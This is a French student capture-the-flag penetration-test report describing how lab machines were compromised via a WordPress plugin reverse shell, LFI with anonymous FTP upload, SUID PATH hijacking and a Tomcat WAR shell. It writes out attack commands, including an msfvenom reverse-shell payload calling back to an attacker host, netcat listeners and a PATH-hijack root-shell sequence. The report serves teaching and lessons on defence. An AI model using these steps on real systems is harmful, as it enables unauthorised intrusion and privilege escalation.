



CTF — Cinq Machines

Rapport de Test de Pénétration

SAE Autonomie ■ Sécurité Offensive

Auteurs

Honorine ■ Kylian

Date

Février 2026

Sommaire

1	Contexte de la mission	1
2	Machine 1 — WordPress	1
2.1	Reconnaissance	1
2.2	Découverte du CMS	1
2.3	Exploitation	1
2.4	Élévation de privilèges	2
3	Machine 4 — LFI + FTP + Binaire SUID	2
3.1	Exploration initiale	2
3.2	Local File Inclusion	2
3.3	Pivot via FTP	2
3.4	Analyse du binaire SUID	2
3.5	PATH Hijacking	2
3.6	Nettoyage	3
4	Machine 5 — Tomcat	3
4.1	Découverte	3
4.2	Obtention du shell	3
4.3	Limite	3
5	Synthèse des compromissions	4
6	Enseignements et points clés	4

1 Contexte de la mission

Objectif

Compromettre cinq machines cibles et obtenir un accès **root** sur chacune, en mobilisant des techniques de pentest variées : reconnaissance, exploitation de services web, élévation de privilèges, et analyse de binaires SUID.

Chaque machine combine plusieurs vulnérabilités et configurations défaillantes représentatives de scénarios rencontrés en environnement réel. Le présent rapport documente les chemins d'attaque retenus, les outils mobilisés, et les contre-mesures à déployer.

Résultat global : 4/5 machines compromises (80%) — Machine 5 partiellement aboutie.

2 Machine 1 — WordPress

2.1 Reconnaissance

Scan Nmap avec détection de versions et scripts par défaut sur la cible 192.168.1.17 :

```
nmap -sV -sC 192.168.1.17
```

Le scan révèle : SSH (22), HTTP (80), POP3 (110), IMAP (143). Le port 80 héberge un site « en test ».

2.2 Découverte du CMS

Inspection manuelle du fichier `robots.txt` : un répertoire `/wordpress/` est exposé, confirmant le CMS cible. Énumération complète des chemins avec Gobuster :

```
gobuster dir -u http://192.168.1.17 \
-w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 40
```

Gobuster identifie également `/upload`, mais l'effort se concentre sur l'installation WordPress.

2.3 Exploitation

La page `wp-login.php` accepte des identifiants administrateurs faibles. Une fois connectés au back-office, nous éditons un plugin pour y injecter un reverse shell PHP pointant vers Kali sur le port 9001.

```
nc -lvnp 9001
```

L'activation du plugin déclenche la connexion : nous obtenons un shell en tant que `www-data`.

2.4 Élévation de privilèges

Le shell est stabilisé via Python (`python -c 'import pty; pty.spawn("/bin/bash")'`). L'exploration de `wp-config.php` expose les identifiants MySQL, qui se révèlent réutilisés pour le compte `root` système.

🚩 Machine 1 compromise

Vecteur : Réutilisation des identifiants MySQL pour l'accès `root`.

Leçon : Une politique de mot de passe distincte par service est non négociable.

3 Machine 4 — LFI + FTP + Binaire SUID

3.1 Exploration initiale

Le serveur Apache filtre les requêtes selon l'`User-Agent`. Contournement immédiat en se faisant passer pour Googlebot :

```
curl -A "Googlebot" http://192.168.1.46/robots.txt
```

Un répertoire caché est révélé.

3.2 Local File Inclusion

La vérification des paramètres GET expose une vulnérabilité LFI permettant de lire `/etc/passwd` et autres fichiers sensibles — y compris la configuration du serveur, qui mentionne un service FTP en écriture.

3.3 Pivot via FTP

Le répertoire `pub` du FTP autorise l'`anonymous upload`. Nous y déposons un reverse shell PHP, puis l'exécutons via la LFI précédemment découverte.

```
nc -lvnp 9001
# Déclenchement : LFI ciblant /var/ftp/pub/shell.php
```

Connexion reçue en tant que `www-data`. Le flag utilisateur est récupéré dans `/var/www/`.

3.4 Analyse du binaire SUID

Dans `/home/tom/`, un binaire `adminshell` possède le bit SUID. Son code source révèle une vérification d'identité par appel à `whoami` sans chemin absolu :

```
if (strcmp(getlogin(), "admin") == 0) {
    system("whoami"); // PATH non controle : injectable
}
```

3.5 PATH Hijacking

Un faux binaire `whoami` est créé pour spawner un shell, le `PATH` est manipulé pour le résoudre en priorité :

```
echo '/bin/sh' > /tmp/whoami && chmod +x /tmp/whoami
export PATH=/tmp:$PATH
./adminshell
```

Le binaire SUID exécute notre faux `whoami` avec les privilèges `root`.

🚩 Machine 4 compromise — root obtenu

Vecteur : LFI → FTP anonyme → PATH Hijacking sur binaire SUID.

Leçon : Tout appel système dans un binaire privilégié doit utiliser un chemin absolu.

3.6 Nettoyage

Suppression du `shell.php` déposé sur le FTP pour ne pas laisser de trace exploitable par d'autres équipes.

4 Machine 5 — Tomcat

4.1 Découverte

Nikto identifie un fichier `backup.zip` accessible sans authentification.

```
nikto -h http://target
fcrackzip -D -p rockyou.txt -u backup.zip
```

L'archive est protégée par mot de passe ; `fcrackzip` le craque en quelques minutes via dictionnaire.

4.2 Obtention du shell

Un fichier WAR contenant un reverse shell est généré avec Metasploit, puis déployé via Tomcat Manager (identifiants extraits du backup) :

```
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.0.0.5 LPORT=9001 -f war > shell.war
```

Le déploiement réussit et un shell utilisateur `jerry` est obtenu.

4.3 Limite

⚠ Élévation non aboutie

Malgré de nombreuses tentatives (énumération SUID, exploits kernel, sudo, capabilities), l'élévation vers `root` n'a pas pu être réalisée dans le temps imparti. Le flag utilisateur a néanmoins été récupéré dans `/home/jerry/`.

5 Synthèse des compromissions

Machine	Vecteur principal	Statut
1 — WordPress	Plugin malveillant + réutilisation credentials MySQL	✓ Root
2 — GRUB	Modification entrée GRUB → shell init	✓ Root
3 — FTP exploit	Exploitation service FTP vulnérable	✓ Root
4 — LFI + FTP	LFI → FTP → PATH Hijacking SUID	✓ Root
5 — Tomcat	Backup ZIP cracké + WAR Manager	⚠ Partiel

6 Enseignements et points clés

1. **La reconnaissance conditionne tout.** Un scan Nmap mal calibré ferme des portes que l'on ne rouvre pas.
2. **La réutilisation des mots de passe reste critique.** Trois machines sur cinq exploitées via ce vecteur.
3. **Les configurations par défaut sont dangereuses.** Comptes admin/admin, FTP anonyme, Tomcat Manager exposé.
4. **L'élévation de privilèges récompense la patience.** Étudier les binaires SUID, examiner les variables d'environnement, lire le code source quand il est accessible.
5. **Le nettoyage des traces fait partie du pentest.** Un shell oublié sur un FTP partagé est une faille livrée à autrui.
6. **Combiner les vulnérabilités** : aucune des cinq compromissions ne repose sur une seule faille.

« La sécurité n'est pas un produit, mais un processus. »

— Bruce Schneier